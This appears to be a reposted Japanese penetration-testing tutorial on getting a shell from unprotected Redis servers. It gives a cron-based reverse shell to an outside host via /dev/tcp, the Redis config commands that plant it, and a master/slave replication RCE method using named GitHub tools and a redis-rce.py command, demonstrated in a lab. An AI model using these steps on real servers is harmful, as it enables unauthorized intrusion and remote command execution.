ホームページ  >  記事  >  データベース  >  Redis+Getshellの分析例

Redis+Getshellの分析例

WBOY
WBOY転載
2023-05-27 20:43:141747ブラウズ

前書き:

通常、認可ペネトレーションテストを行う場合、従来の脆弱性攻撃(インジェクションやファイルアップロードなど)を試しても情報は得られません。ポートをスキャンすると、予期しない利益が得られる場合があります。

自分自身を知り、敵を知ることが百戦勝つための最良の方法です。Redis の紹介:

簡単に言うと、redis は Key-Value 型のデータベースです。 Redis 内のデータはメモリ内で操作され、メモリ内のデータは定期的にディスクに保存でき、さまざまなデータ構造 (文字列、ハッシュ、リストなど) の保存をサポートします。

戦略策定中の Redis の脆弱性:

1. 不正アクセスの脆弱性

Redis デフォルトでは、0.0.0.0:6379 にバインドされます。IP アクセスが制限されていない場合、Redis サービスはパブリック ネットワークに公開され、パスワード認証が設定されていない場合、どのユーザーも Redis へのアクセスを許可されません。 . Redis データの読み取りやリモート接続のための公開キーの書き込みなども行います。

データベースの権限を取得しただけでは満足できません。私たちの目標は getshell だけです。

現在、さらに 2 つの主流の方法があります。1 つ目は、定期的にリバウンド シェルをスケジュールする方法で、2 つ目は、マスター/スレーブ レプリケーション rce を使用する方法です。

2. スケジュールされたリバウンド シェル

1) set x "\n* * * * * bash -i >& /dev/tcp/ 1.1 .1.1/888 0>&1\n"

2) 構成セット ディレクトリ /var/spool/cron/

3) 構成セット dbfilename root

4) 保存

3. マスター/スレーブ レプリケーション rce の使用

##この脆弱性はバージョン 4.x および 5.x に存在し、Redis はマスター/スレーブ モードを提供します。モードは、1 つの Redis をホストとして使用し、もう 1 つをバックアップ マシンとして使用することを指します。ホストとスレーブのデータは同じです。スレーブは読み取りのみを担当し、マスターは書き込みのみを担当します。 Reids 4.x 以降では、外部拡張を通じて、redis に新しい Redis コマンドを実装し、悪意のある .so ファイルを構築することが可能になります。 2 つの Redis インスタンスがマスター/スレーブ モードに設定されている場合、Redis ホスト インスタンスは FULLRESYNC を通じてファイルをスレーブ マシンに同期できます。次に、悪意のある so ファイルをスレーブ マシンにロードしてコマンドを実行します。

ツールを使用する必要があります。GitHub からダウンロードするだけです。

1) git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand (make が必要)

2) git clone https://github.com/Ridter/ redis-rce.git

次に、不正アクセスまたは脆弱なパスワードを使用して redis に接続し、スクリプトを実行してシェルを取得します。


Redis+Getshellの分析例

数千マイル離れた決定的な勝利、実際の戦闘訓練:

今回は、Redis である 6379 をスキャンしました。ポート全体をスキャンすることをお勧めします。今回は、マスター/スレーブ コピー rce を使用してシェルを取得します (脆弱性は src に提出され、機密保持契約が締結されているため、ターゲット マシンは実際の環境を復元して信頼性を確保します。)

攻撃終了 IP: 192.168.109.134

サーバー IP: 192.168.109.136

不正アクセスによる Redis への接続 (パスワードを持っている場合は、認証パスワードを使用してシステムへのログインを試みることができます) :Redis-cli –h ipRedis+Getshellの分析例
マスター/スレーブ コピー rce を使用してシェルを取得しますRedis+Getshellの分析例

まず、悪意のある .so ファイルを生成し、RedisModules-ExecuteCommand をダウンロードし、make を使用してコンパイルします。


攻撃終了実行: Redis+Getshellの分析例

python redis-rce.py -r target ip -p target port -L local ip -f malicious.so

shell の取得成功


Redis+Getshellの分析例

以上がRedis+Getshellの分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。